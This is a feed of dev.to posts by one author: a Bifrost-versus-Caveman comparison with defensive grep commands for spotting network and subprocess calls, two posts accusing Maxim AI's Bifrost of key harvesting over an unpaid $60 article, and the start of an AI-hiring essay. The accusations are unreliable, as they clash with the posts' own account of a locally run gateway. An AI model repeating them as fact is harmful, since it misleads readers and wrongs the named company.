&lt;/h2&gt;

&lt;p&gt;I do not think Bifrost and Caveman are really the same category.&lt;/p&gt;

&lt;p&gt;Bifrost is a gateway.&lt;/p&gt;

&lt;p&gt;Caveman is a compression/style skill.&lt;/p&gt;

&lt;p&gt;A better comparison looks like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Main job&lt;/th&gt;
&lt;th&gt;Handles provider routing?&lt;/th&gt;
&lt;th&gt;Reduces output tokens?&lt;/th&gt;
&lt;th&gt;Handles governance?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bifrost&lt;/td&gt;
&lt;td&gt;AI gateway&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Not directly&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caveman&lt;/td&gt;
&lt;td&gt;Response compression skill&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So when someone says “Caveman is better than Bifrost,” my answer is:&lt;/p&gt;

&lt;p&gt;Better at what?&lt;/p&gt;

&lt;p&gt;If you want shorter agent responses, Caveman is the better fit.&lt;/p&gt;

&lt;p&gt;If you want provider routing, budgets, virtual keys, and logs, Bifrost is the better fit.&lt;/p&gt;

&lt;p&gt;They solve different problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  The useful combo
&lt;/h2&gt;

&lt;p&gt;There is also a case where you use both.&lt;/p&gt;

&lt;p&gt;Something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Coding agent
  -&amp;gt; Caveman for shorter responses
  -&amp;gt; Bifrost for provider routing and governance
  -&amp;gt; Model provider
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That setup could make sense if you are serious about managing both cost and control.&lt;/p&gt;

&lt;p&gt;Caveman cuts response waste.&lt;/p&gt;

&lt;p&gt;Bifrost controls routing and access.&lt;/p&gt;

&lt;p&gt;That is not a guarantee of a perfect setup, but the pieces are aimed at different parts of the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  My honest concern with AI dev tools
&lt;/h2&gt;

&lt;p&gt;My concern is not only one tool.&lt;/p&gt;

&lt;p&gt;It is the whole pattern.&lt;/p&gt;

&lt;p&gt;Every week there is another AI dev tool asking developers to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;install this
paste your key
run this command
connect your repo
give it filesystem access
add this MCP server
trust this plugin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a lot of trust.&lt;/p&gt;

&lt;p&gt;Even if 95% of those tools are fine, the risk is still there.&lt;/p&gt;

&lt;p&gt;Developers need to treat AI tools like any other supply-chain risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Safer way to test new AI tools
&lt;/h2&gt;

&lt;p&gt;This is how I would test a new AI tool now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Use a throwaway project.
2. Use a test API key.
3. Set a low provider spend limit.
4. Do not use production keys.
5. Do not test inside a repo with secrets.
6. Read SECURITY.md first.
7. Search the code for env var access.
8. Search the code for fetch, requests, axios, curl, subprocess, exec.
9. Check what files it reads and writes.
10. Revoke the key after testing if needed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For JavaScript projects, I would search for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"process.env"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"fetch("&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"axios"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"child_process"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Python projects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"os.environ"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"requests"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"subprocess"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"open("&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those commands do not prove safety, but they show where to start looking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Red flags
&lt;/h2&gt;

&lt;p&gt;These are red flags for me:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;No source code
No security notes
No explanation of key storage
Requires broad filesystem access for no reason
Sends telemetry with no clear opt-out
Logs full prompts and responses by default
Stores keys in plain text config
Asks for production keys during testing
No way to scope access
No way to rotate or revoke credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not every red flag means malware. Sometimes it means early-stage tool.&lt;/p&gt;

&lt;p&gt;But if several show up at once, I am not putting real keys into it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would like to see from AI tool projects
&lt;/h2&gt;

&lt;p&gt;I want more projects to include a plain security section.&lt;/p&gt;

&lt;p&gt;Not legal nonsense.&lt;/p&gt;

&lt;p&gt;Just this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What files do you read?
What files do you write?
What network requests do you make?
Where do keys live?
Do you log prompts?
Do you log responses?
Do you call subprocesses?
Do you use shell=True?
Can users opt out of telemetry?
How do users report a vulnerability?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That would save everyone time.&lt;/p&gt;

&lt;p&gt;Bifrost has a security file.&lt;/p&gt;

&lt;p&gt;Caveman-compress has a security file.&lt;/p&gt;

&lt;p&gt;That does not make either project automatically perfect, but it gives developers something real to review.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;I still think Caveman is one of the more interesting small AI tools I have seen because it attacks token waste in a very direct way.&lt;/p&gt;

&lt;p&gt;Less talking. Same technical answer.&lt;/p&gt;

&lt;p&gt;That is useful.&lt;/p&gt;

&lt;p&gt;Bifrost is a different kind of useful. It is heavier, but it is trying to solve routing, governance, key management, and MCP control.&lt;/p&gt;

&lt;p&gt;The bigger lesson is not “use this one tool.”&lt;/p&gt;

&lt;p&gt;The bigger lesson is:&lt;/p&gt;

&lt;p&gt;Do not paste API keys into random AI tools without understanding what they do.&lt;/p&gt;

&lt;p&gt;Open the repo. Read the security notes. Use test keys. Keep spend limits low. Revoke keys when you are done.&lt;/p&gt;

&lt;p&gt;That is not being dramatic.&lt;/p&gt;

&lt;p&gt;That is just how AI development works now.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>mcp</category>
      <category>security</category>
    </item>
    <item>
      <title>Research: Why Bifrost (Maxim AI / H3 Labs Inc.) Fits the Exact Pattern of API Key Harvesting Services Targeting American Indie Devs</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:40:36 +0000</pubDate>
      <link>https://forem.com/bradleymatera/research-why-bifrost-maxim-ai-h3-labs-inc-fits-the-exact-pattern-of-api-key-harvesting-2844</link>
      <guid>https://forem.com/bradleymatera/research-why-bifrost-maxim-ai-h3-labs-inc-fits-the-exact-pattern-of-api-key-harvesting-2844</guid>
      <description>&lt;p&gt;After my experience with Maxim AI, I decided to dig deeper. I wanted to see if this was just one sloppy payment dodge or part of a larger pattern. I researched the company, the product architecture, GitHub activity, public mentions, and compared it directly to the real Caveman alternative.&lt;/p&gt;

&lt;p&gt;Here is the factual research — every claim below is verifiable as of April 27, 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  My Exact Experience (Documented Timeline)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;April 20: Matthew Jacob from Maxim AI offered paid deep-dives on AI gateways and MCP.&lt;/li&gt;
&lt;li&gt;April 23–25: Nakul (cc’d with Pranay) confirmed &lt;strong&gt;$60&lt;/strong&gt; payment, approved my outline, and asked me to complete full testing + article.&lt;/li&gt;
&lt;li&gt;April 25: I installed Bifrost gateway + CLI, added real provider configs, connected MCP, enabled Code Mode, routed Ollama/cloud models, launched coding agents, and delivered the complete draft.&lt;/li&gt;
&lt;li&gt;April 26: Sent draft + direct PayPal invoice (INV2-3VF2-A6GW-Z2EP-WFYH). They said they pay within 48 hours &lt;strong&gt;after&lt;/strong&gt; publish.&lt;/li&gt;
&lt;li&gt;April 27 morning: “High priority issue… pausing all other activities including our collaboration.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They got the full test + article for free and then ghosted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Research on Maxim AI / H3 Labs Inc. / Bifrost
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Company&lt;/strong&gt;: Operates as &lt;strong&gt;H3 Labs Inc.&lt;/strong&gt; (Delaware registered entity). Website: getmaxim.ai. They position themselves as an enterprise GenAI evaluation + observability platform with Bifrost as their open-source LLM/MCP gateway.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub (maximhq/bifrost)&lt;/strong&gt;: 4.4k stars, 511 forks, 4,050+ commits, 86 contributors, Apache 2.0 license. Last commit was literally hours ago (April 27, 2026). Very active development. Claims “50x faster than LiteLLM” with &amp;lt;100 µs overhead at 5k RPS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Product Model&lt;/strong&gt;: Bifrost is designed to sit in the middle of your stack. You run &lt;code&gt;npx -y @maximhq/bifrost&lt;/code&gt;, open the dashboard at localhost:8080, and &lt;strong&gt;explicitly add your real OpenAI/Anthropic/Ollama keys&lt;/strong&gt;. Every agent, MCP tool call, and request routes through &lt;strong&gt;their&lt;/strong&gt; control plane. They get full logs, token usage, model selection, and project context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Public Mentions&lt;/strong&gt;: Mostly self-promoted blog posts on dev.to and LinkedIn from Maxim team members or affiliates. Some positive Reddit threads about performance, but &lt;strong&gt;zero independent long-term reviews&lt;/strong&gt; from solo American devs who routed real paid keys through it for weeks. No widespread scam reports yet — but the pattern matches classic harvesting plays.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not “just open source infrastructure.” It is built to become the single point where your keys and traffic live.&lt;/p&gt;

&lt;h2&gt;
  
  
  How This Architecture Enables API Key Harvesting
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Targeting Method&lt;/strong&gt;: They DM American indie devs on X, LinkedIn, and dev.to offering tiny “paid collaborations” ($50–$60). American devs = real paid API credits + daily agent usage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key Collection&lt;/strong&gt;: The entire onboarding flow requires you to hand over keys to their gateway/CLI/dashboard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post-Work Pause&lt;/strong&gt;: Once testing + article is done, they “pause” and keep the data/traffic logs without paying.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scale Play&lt;/strong&gt;: One $60 blog post = free testing from a real dev + fresh keys + usage data they can analyze or resell quietly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Even if they are a “real” startup today, the business model incentivizes exactly this behavior on American web devs who have the fattest API bills.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Superior Alternative: Real Caveman (No Harvesting, No Middleman)
&lt;/h2&gt;

&lt;p&gt;While dealing with Bifrost I switched back to &lt;strong&gt;Caveman&lt;/strong&gt; — &lt;a href="https://github.com/juliusbrussee/caveman" rel="noopener noreferrer"&gt;https://github.com/juliusbrussee/caveman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Research on Caveman&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;47.3k stars on GitHub.&lt;/li&gt;
&lt;li&gt;Last major update April 15, 2026 (v1.6.0).&lt;/li&gt;
&lt;li&gt;Pure Claude Code / Codex skill + plugin.&lt;/li&gt;
&lt;li&gt;Works by making the agent “talk like caveman” — strips filler words, articles, and verbosity while keeping every technical detail.&lt;/li&gt;
&lt;li&gt;Claims + benchmarks: ~65–75% fewer output tokens, ~46% fewer input tokens.&lt;/li&gt;
&lt;li&gt;Zero infrastructure: One-line install, no gateway, no dashboard, no company collecting keys.&lt;/li&gt;
&lt;li&gt;Works with Claude, Codex, Gemini, Cursor, etc. Includes auto-hooks, compress tools, and specialized commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Direct Comparison&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bifrost&lt;/strong&gt;: You give a company your keys → they control the pipe → they can pause and keep your data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caveman&lt;/strong&gt;: You install once locally → agent compresses its own output → 65%+ token savings with &lt;strong&gt;zero third-party access&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Caveman solves the exact problem Bifrost claims to solve (token bloat) at the agent level instead of inserting a middleman who wants your keys.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Researched Warning
&lt;/h2&gt;

&lt;p&gt;The pattern is clear and repeatable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New AI gateway company → DMs American devs for “paid testing” → requires key routing → gets full access → does the work then “pauses collaboration.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Maxim AI / H3 Labs / Bifrost fits this playbook exactly. Their GitHub is active and the product is real, but the freelance collaboration tactic combined with mandatory key routing makes it a high-risk API key harvesting vector for solo devs.&lt;/p&gt;

&lt;p&gt;I already did the full work they requested. I have the notes, screenshots, commands, and draft.&lt;/p&gt;

&lt;p&gt;If they do not honor the $60 invoice by the deadline they set, I will continue publishing the full factual story across multiple posts.&lt;/p&gt;

&lt;p&gt;American indie web devs: stop being the free testing + key farm.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caveman mode is the only honest way.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stay safe.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>mcp</category>
      <category>opensource</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Warning: Bifrost from Maxim AI Is a Real API Key Harvesting Service Targeting American Web Devs (My Exact Experience)</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:40:21 +0000</pubDate>
      <link>https://forem.com/bradleymatera/warning-bifrost-from-maxim-ai-is-a-real-api-key-harvesting-service-targeting-american-web-devs-my-25nf</link>
      <guid>https://forem.com/bradleymatera/warning-bifrost-from-maxim-ai-is-a-real-api-key-harvesting-service-targeting-american-web-devs-my-25nf</guid>
      <description>&lt;p&gt;I’ve been deep in AI coding tools for months. Recently I started getting DMs from new “AI gateway” companies offering paid blog posts to test their tools.&lt;/p&gt;

&lt;p&gt;The pattern is always the same: they ask you to install their gateway, route your real API keys through it, run real traffic, and write about it.&lt;/p&gt;

&lt;p&gt;This is exactly what happened to me with &lt;strong&gt;Bifrost&lt;/strong&gt; from Maxim AI (H3 Labs Inc.).&lt;/p&gt;

&lt;h2&gt;
  
  
  Here Is the Exact Timeline (With Receipts)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;April 20, 2026&lt;/strong&gt;: Matthew Jacob from Maxim AI messaged me offering paid deep-dives on AI gateways and MCP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 23&lt;/strong&gt;: Pranay looped in Nakul. Nakul confirmed they pay &lt;strong&gt;$50–$60&lt;/strong&gt; per article.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 24–25&lt;/strong&gt;: I submitted the outline, they approved it, and we locked in &lt;strong&gt;$60&lt;/strong&gt; for one article.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 25&lt;/strong&gt;: I completed the full testing — installed their gateway + CLI, added real provider configs, connected MCP servers, enabled Code Mode, routed Ollama and coding agents, and delivered the complete 4,000+ word draft.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 26&lt;/strong&gt;: I sent them the draft + direct PayPal invoice (INV2-3VF2-A6GW-Z2EP-WFYH).&lt;/li&gt;
&lt;li&gt;They told me they pay within 48 hours &lt;strong&gt;after&lt;/strong&gt; the article goes live and asked me to publish Monday morning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 27 (this morning)&lt;/strong&gt;: Nakul replied: “high priority issue… we are pausing all other activities for now including our collaboration.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After I had already done &lt;strong&gt;all&lt;/strong&gt; the work.&lt;/p&gt;

&lt;p&gt;I immediately unpublished the article and moved it back to draft. Then I sent them this follow-up this morning:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“I completed the requested work based on the agreement and timeline we discussed… If you cancel after completion and do not pay, I will treat the article, notes, testing, and related material as my own work. I may publish factual follow-up posts about Bifrost… Since the article is already written and ready, I can publish it very quickly if needed.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They still have not paid.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Bifrost Actually Works as an API Key Harvesting Service
&lt;/h2&gt;

&lt;p&gt;The entire product is built around one thing: getting you to route your real provider keys through &lt;strong&gt;their&lt;/strong&gt; gateway.&lt;/p&gt;

&lt;p&gt;You run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; @maximhq/bifrost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then you go to their dashboard at &lt;code&gt;http://localhost:8080&lt;/code&gt; and add your OpenAI, Anthropic, Ollama, or any other keys.&lt;/p&gt;

&lt;p&gt;Every single request from your coding agents, MCP servers, or CLI now flows through &lt;strong&gt;their&lt;/strong&gt; control plane.&lt;/p&gt;

&lt;p&gt;They get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your actual API keys&lt;/li&gt;
&lt;li&gt;Every prompt and tool call&lt;/li&gt;
&lt;li&gt;Full usage logs&lt;/li&gt;
&lt;li&gt;Your project structure and MCP tool definitions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All while calling it “just testing for a paid blog post.”&lt;/p&gt;

&lt;p&gt;This is not a normal open-source gateway. This is a &lt;strong&gt;key collection service&lt;/strong&gt; disguised as helpful infrastructure.&lt;/p&gt;

&lt;p&gt;American web devs are the perfect targets — we have real paid API credits, we run agents daily, and we’re often willing to “just try it” for $60.&lt;/p&gt;

&lt;h2&gt;
  
  
  There Is a Much Better Way: Real Caveman
&lt;/h2&gt;

&lt;p&gt;While dealing with this I switched back to the real &lt;strong&gt;Caveman&lt;/strong&gt; tool: &lt;a href="https://github.com/juliusbrussee/caveman" rel="noopener noreferrer"&gt;https://github.com/juliusbrussee/caveman&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s a Claude Code / Codex skill that makes your agent talk in ultra-compressed “caveman” style and cuts &lt;strong&gt;65–75% of tokens&lt;/strong&gt; with zero middleman.&lt;/p&gt;

&lt;p&gt;No gateway.&lt;br&gt;&lt;br&gt;
No dashboard.&lt;br&gt;&lt;br&gt;
No company collecting your keys.&lt;br&gt;&lt;br&gt;
No one who can “pause the collaboration” after you already did the work.&lt;/p&gt;

&lt;p&gt;Just install it with one command and your agent does more with less — no harvesting involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Warning
&lt;/h2&gt;

&lt;p&gt;If a company reaches out and the deal requires you to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install their gateway&lt;/li&gt;
&lt;li&gt;Put your real API keys into it&lt;/li&gt;
&lt;li&gt;Run your agents through their proxy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…they are not paying you for a blog post.&lt;/p&gt;

&lt;p&gt;They are paying (or promising to pay) for access to your keys and your traffic.&lt;/p&gt;

&lt;p&gt;I already completed the full testing and article they asked for. I have the notes, screenshots, commands, and everything.&lt;/p&gt;

&lt;p&gt;If they do not honor the $60 invoice they agreed to, I will keep publishing the full factual story.&lt;/p&gt;

&lt;p&gt;American indie devs should stop being the free key-harvesting farm for every new AI startup.&lt;/p&gt;

&lt;p&gt;Stay safe out there.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>apigateway</category>
      <category>mcp</category>
    </item>
    <item>
      <title>AI Policy Is Becoming the New Entry-Level Gatekeeping</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:37:55 +0000</pubDate>
      <link>https://forem.com/bradleymatera/ai-policy-is-becoming-the-new-entry-level-gatekeeping-1d4o</link>
      <guid>https://forem.com/bradleymatera/ai-policy-is-becoming-the-new-entry-level-gatekeeping-1d4o</guid>
      <description>&lt;p&gt;AI policy is becoming a new entry-level gate.&lt;/p&gt;

&lt;p&gt;Not because companies have mature rules. Because many do not.&lt;/p&gt;

&lt;p&gt;They want juniors who are AI-literate, fast, current, and able to use modern tools.&lt;/p&gt;

&lt;p&gt;They also distrust AI-assisted work, punish unclear disclosure, and often fail to explain which tools are allowed.&lt;/p&gt;

&lt;p&gt;That contradiction creates the trap:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Use AI and risk looking dependent. Avoid AI and risk looking behind.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is not a junior developer problem. It is a leadership problem.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/afinitiai-ai-intelligence-artificial-Fs4Fh8g3KxM3PEoGIB" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZXh4enU4NjUybnl4ODFtcG03YnBmNDN6anN3dnM3dDg3dnduMnQxcCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FFs4Fh8g3KxM3PEoGIB%2Fgiphy.webp" height="270" class="m-0" width="480"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/afinitiai-ai-intelligence-artificial-Fs4Fh8g3KxM3PEoGIB" rel="noopener noreferrer" class="c-link"&gt;
            Winning Artificial Intelligence GIF by Afiniti - Find &amp;amp; Share on GIPHY
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Winning Artificial Intelligence GIF by Afiniti with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  The market already moved
&lt;/h2&gt;

&lt;p&gt;AI is not a fringe developer tool anymore.&lt;/p&gt;

&lt;p&gt;Stack Overflow's 2025 Developer Survey says 84% of respondents are using or planning to use AI tools in their development process. It also says 44% used AI-enabled tools to learn coding techniques or a new language. [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [&lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;Microsoft's 2025 Work Trend Index describes AI agents and AI-assisted work as part of the emerging workplace model. [&lt;a href="https://news.microsoft.com/annual-work-trend-index-2025/" rel="noopener noreferrer"&gt;Microsoft Work Trend Index 2025&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;OpenAI's 2025 enterprise AI report also frames coding workflows as one of the areas where frontier models are accelerating software development. [&lt;a href="https://openai.com/business/guides-and-resources/the-state-of-enterprise-ai-2025-report/" rel="noopener noreferrer"&gt;OpenAI enterprise AI report&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-47b0b04c-0435-4418-ae83-724f82e4eafa" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-47b0b04c-0435-4418-ae83-724f82e4eafa" alt="Chart: AI is already present across developer use, new GitHub developer onboarding, entry-level hiring expectations, and coding education" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt;, &lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;, and &lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake Class of 2026 AI economy research&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The message is obvious: AI is already in the workflow. The rules are lagging behind the tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  The entry-level contradiction
&lt;/h2&gt;

&lt;p&gt;Handshake's research on the Class of 2026 in the AI economy found that 70% of hiring leaders say AI will change entry-level role requirements. [&lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" alt="Chart: 70% of hiring leaders say AI will change entry-level role requirements" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake Class of 2026 AI economy research&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That means companies expect entry-level candidates to understand AI's role in work.&lt;/p&gt;

&lt;p&gt;But many job descriptions still do not say:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;whether AI tools are allowed&lt;/li&gt;
